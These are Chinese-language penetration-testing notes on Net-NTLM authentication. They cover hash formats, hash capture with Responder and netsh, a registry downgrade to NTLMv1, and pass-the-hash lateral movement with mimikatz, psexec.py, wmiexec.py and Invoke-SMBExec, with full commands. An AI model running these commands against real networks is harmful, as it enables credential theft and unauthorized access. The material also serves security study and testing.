原理
一、Net-NTLM协议
1. LM Hash与NT Hash
LM Hash与NT Hash,密码根据固定算法转成的两种Hash,LM Hash更容易被破解
NTLM Hash = LM Hash + NT Hash,也有的会把NTLM Hash等同于NT Hash
2. Lan Manager认证 与 NT Lan Manager
其中NT Lan Manager有两个版本:Net-NTLMv1,Net-NTLMv2。这三个都属于认证协议,都是基于challenge/reponse的,但是用的Client Hash及对challenge加密方法不同。
在NT Lan Manager中,客户端最后给服务器的响应,称为Net-NTLMv1 Hash及Net-NTLMv2 Hash。
Lan Manager: 使用LM Hash
Net-NTLMv1: 使用LM Hash和NT Hash
1
2
//Net-NTLMv1 Hash格式
username::hostname:LM response:NTLM response:challenge
Net-NTLMv2: 使用NT Hash
1
2
//Net-NLTMv2 Hash格式
username::domain:challenge:HMAC-MD5:blob
工作组环境:
域环境:
3. 各个版本对LM和NTLM的支持
如果空密码或者不储蓄LM Hash的话,抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE
,这里的LM Hash值没有意义。
利用
一、 Hash窃取与破解
1. hashcat
Hashcat支持超过200种高度优化的hash算法,其中和NTLM hash相关的有4个,分别为NetNTLMv1、NetNTLMv1+ESS、NetNTLMv2和NTLM。
1
username::hostname:LM response:NTLM response:challenge
1
username::domain:challenge:HMAC-MD5:blob
2. Hash窃取与破解
- 同一网络内嗅探
- 中间人攻击
- 伪造服务器诱使用户输入凭据,在服务端收取Net-NTLM Hash
工具:
https://github.com/lgandx/Responder
https://github.com/Kevin-Robertson/Inveigh
感觉不是每次都能抓到…
例1) 拿下文件服务器后,在服务器上抓包获取NTLM Respnse
如果获得了内网一个文件服务器的权限,那么内网中的其他主机在使用界面尝试访问该服务器时,首先会将本机的密码Hash发送至服务器进行验证,在服务器端抓取数据包能够获得NTLM Response,对NTLM Response的格式进行解析,提取特定信息,使用Hashcat尝试字典破解或者暴力破解,就有可能还原出用户本机的明文口令
1
2
3
netsh trace start capture=yes persistent=yes traceFile="c:\\test\\snmp1.etl" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.62.130 keywords=ut:authentication
Netsh trace stop
使用netsh抓包,得到 .etl 文件 -> windows message analyzer将其转换成.cap格式 -> wireshark 将其转为.pcap格式 -> python scapy模块自动解析数据包,提取NTLM Respnse。
例2) 拿下文件服务器后,利用.scf或desktop.ini文件使得访问文件服务器的用户强制访问攻击者服务器,在攻击者服务器上抓包获取NTLM Hash
3. 降级
Net-NTLMv2 Hash暴力破解和字典破解难度比较高,如果有管理员权限,可将Lan Manager身份验证级别由Net-NTLMv2降为Net-NTLMv1
修改注册表:
1
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f
实现工具:https://github.com/eladshamir/Internal-Monologue
二、Pass the Hash
需要攻击使用了NTLM认证的服务
1. IPC$,Winrm
mimikatz
1
2
privilege::debug
sekurlsa::pth /user:dell /domain:ring2.com /ntlm:B9E0CFCEAF6D077970306A2FD88A7C0A /run:powershell.exe
1
2
3
Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
Restart-Service WinRM
Enter-PSSession -ComputerName win10-pc3
创建定时任务来执行命令,at 命令或schtasks命令,启动的子进程是System权限
1
2
3
4
PS C:\Windows\system32> at \\192.168.240.128 4:37PM C:\Windows\System32\calc.exe
AT 命令已弃用。请改用 schtasks.exe。
新加了一项作业,其作业 ID = 3
smbexec.py
1
smbexec.py -hashes :B9E0CFCEAF6D077970306A2FD88A7C0A ./dell@192.168.240.147 -debug
psexec.py
1
psexec.py -hashes :B9E0CFCEAF6D077970306A2FD88A7C0A ./dell@192.168.240.147 -debug
Invoke-SMBExec.ps1
1
Invoke-SMBExec -Target #{host_ip} -Username "#{host_username}" -Hash B9E0CFCEAF6D077970306A2FD88A7C0A -Command "powershell.exe -c sleep 10;stop-process $pid -Force;" -Verbose;
2. WMI
wmiexec.py
1
wmiexec.py -hashes :B9E0CFCEAF6D077970306A2FD88A7C0A dell@192.168.240.147 -debug
Invoke-WMIExec.ps1
1
Invoke-WMIExec -Target #{host_ip} -Username "#{host_username}" -Hash B9E0CFCEAF6D077970306A2FD88A7C0A -Command "powershell.exe -c sleep 10;stop-process $pid -Force;" -Verbose;